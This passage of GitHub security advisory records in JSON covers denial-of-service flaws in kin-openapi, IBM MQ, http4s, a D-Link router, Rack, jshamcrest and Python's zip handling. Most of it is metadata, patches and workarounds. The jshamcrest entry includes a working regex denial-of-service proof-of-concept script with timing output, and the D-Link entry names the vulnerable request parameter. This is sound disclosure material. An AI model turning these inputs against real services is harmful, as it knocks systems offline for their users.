  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-4049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-20T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM MQ 9.1.0.0, 9.1.0.1, 9.1.1, and 9.1.0.2 is vulnerable to a denial of service due to a local user being able to fill up the disk space of the underlying filesystem using the error logging service. IBM X-Force ID: 156398.",
  "id": "GHSA-xhm5-vcjw-g9vf",
  "modified": "2022-05-24T16:54:07Z",
  "published": "2022-05-24T16:54:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4049"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/156398"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/docview.wss?uid=ibm10870490"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-blaze-server_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-blaze-server_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-02T21:42:25Z",
    "nvd_published_at": "2021-02-02T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nblaze-core, a library underlying http4s-blaze-server, accepts connections unboundedly on its selector pool. This has the net effect of amplifying degradation in services that are unable to handle their current request load, since incoming connections are still accepted and added to an unbounded queue. Each connection allocates a socket handle, which drains a scarce OS resource. This can also confound higher level circuit breakers which work based on detecting failed connections.\n\nhttp4s provides a general `MaxActiveRequests` middleware mechanism for limiting open connections, but it is enforced inside the Blaze accept loop, after the connection is accepted and the socket opened. Thus, the limit only prevents the number of connections which can be simultaneously processed, not the number of connections which can be held open.\n\n### Patches\n\nIn 0.21.18, 0.22.0-M3, and 1.0.0-M16, a new`maxConnections` property, with a default value of 1024, has been added to the `BlazeServerBuilder`.  Setting the value to a negative number restores unbounded behavior, but is strongly disrecommended.  \n\nThe NIO2 backend does not respect `maxConnections`.  Its use is now deprecated in http4s-0.21, and the option is removed altogether starting in http4s-0.22.\n\nThe connections are bounded in 0.21.17, 0.22.0-M2, and 1.0.0-M14, but the `maxConnections` parameter was passed incorrectly, making it impossible to change the Blaze default of 512. \n\n### Workarounds\n* An Nginx side-car acting as a reverse proxy for the local http4s-blaze-server instance would be able to apply a connection limiting semantic before the sockets reach blaze-core. Nginx\u2019s connection bounding is both asynchronous and properly respects backpressure.\n* http4s-ember-server is an alternative to http4s-blaze-server, but does not yet have HTTP/2 or web socket support.  Its performance in terms of RPS is appreciably behind Blaze\u2019s, and as the newest backend, has substantially less industrial uptake.\n* http4s-jetty is an alternative to http4s-blaze-server, but does not yet have web socket support.  Its performance in terms of requests per second is somewhat behind Blaze\u2019s, and despite Jetty\u0027s industrial adoption, the http4s integration has substantially less industrial uptake.\n* http4s-tomcat is an alternative to http4s-blaze-server, but does not yet have HTTP/2 web socket support.  Its performance in terms of requests per second is somewhat behind Blaze\u2019s, and despite Jetty\u0027s industrial adoption, the http4s integration has substantially less industrial uptake.\n\n### References\n\nSee [the Blaze GHSA](https://github.com/http4s/blaze/security/advisories/GHSA-xmw9-q7x9-j5qc) for more on the underlying issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s/http4s](http://github.com/http4s/http4s)\n* Contact us according to the [http4s security policy](https://github.com/http4s/http4s/security/policy)",
  "id": "GHSA-xhv5-w9c5-2r2w",
  "modified": "2022-10-25T20:51:11Z",
  "published": "2021-02-02T21:42:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4s/blaze/security/advisories/GHSA-xmw9-q7x9-j5qc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-xhv5-w9c5-2r2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/commit/987d6589ef79545b9bb2324ac4bdebf82d9a0171"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unbounded connection acceptance in http4s-blaze-server"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-40946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-16T02:15:00Z",
    "severity": "HIGH"
  },
  "details": "On D-Link DIR-819 Firmware Version 1.06 Hardware Version A1 devices, it is possible to trigger a Denial of Service via the sys_token parameter in a cgi-bin/webproc?getpage=html/index.html request.",
  "id": "GHSA-xj5r-2vxf-3ch7",
  "modified": "2024-04-04T03:29:53Z",
  "published": "2023-04-16T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/whokilleddb/dlink-dir-819-dos"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/171484/D-Link-DIR-819-A1-Denial-Of-Service.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "2.2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-26141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-28T22:57:12Z",
    "nvd_published_at": "2024-02-29T00:15:51Z",
    "severity": "LOW"
  },
  "details": "# Possible DoS Vulnerability with Range Header in Rack\n\nThere is a possible DoS vulnerability relating to the Range request header in\nRack.  This vulnerability has been assigned the CVE identifier CVE-2024-26141.\n\nVersions Affected:  \u003e= 1.3.0.\nNot affected:       \u003c 1.3.0\nFixed Versions:     3.0.9.1, 2.2.8.1\n\nImpact\n------\nCarefully crafted Range headers can cause a server to respond with an\nunexpectedly large response. Responding with such large responses could lead\nto a denial of service issue.\n\nVulnerable applications will use the `Rack::File` middleware or the\n`Rack::Utils.byte_ranges` methods (this includes Rails applications).\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThere are no feasible workarounds for this issue.\n\nPatches\n-------\nTo aid users who aren\u0027t able to upgrade immediately we have provided patches for\nthe two supported release series. They are in git-am format and consist of a\nsingle changeset.\n\n* 3-0-range.patch - Patch for 3.0 series\n* 2-2-range.patch - Patch for 2.2 series\n\nCredits\n-------\n\nThank you [ooooooo_q](https://hackerone.com/ooooooo_q) for the report and\npatch",
  "id": "GHSA-xj5v-6v4g-jfw6",
  "modified": "2024-02-29T02:30:42Z",
  "published": "2024-02-28T22:57:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-xj5v-6v4g-jfw6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/4849132bef471adb21131980df745f4bb84de2d9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/62457686b26d33a15a254c7768c2076e8e02b48b"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/possible-dos-vulnerability-with-range-header-in-rack/84944"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2024-26141.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Rack has possible DoS Vulnerability with Range Header"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jshamcrest"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:03:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.\n\n\n## Proof of concept\n\n```js\nvar js = require(\u0027jshamcrest\u0027)\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i\u003c=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = \u002766666666666666666666666666666@ffffffffffffffffffffffffffffffff.\u0027 + genstr(i, \u0027a\u0027) + \u0027{\u0027\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    emailAddress.matches(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)\n\n\n## Recommendation\n\nThe `jshamcrest` package currently has no patched versions available.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).",
  "id": "GHSA-xj62-87pg-vcv3",
  "modified": "2023-09-13T22:47:33Z",
  "published": "2019-02-18T23:38:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10521"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xj62-87pg-vcv3"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/53"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in jshamcrest"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-15310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T15:16:30Z",
    "severity": "LOW"
  },
  "details": "When decompressing crafted zip files using the bzip/LZMA/Zstandard \n\ncompressions, Python could use an attacker-controlled size to \n\npre-allocate memory, possibly resulting in memory exhaustion.",
  "id": "GHSA-xj79-6hh5-9w6q",
  "modified": "2026-08-25T15:33:00Z",
  "published": "2026-08-25T15:33:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15310"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/issues/156002"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/pull/156003"
    },
    {
      "type": "WEB",
      "url": "https://mail.python.org/archives/list/security-announce@python.org/thread/YUHXURX2WZGKGNA4ANYBQS2VZRYQ5JNK"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}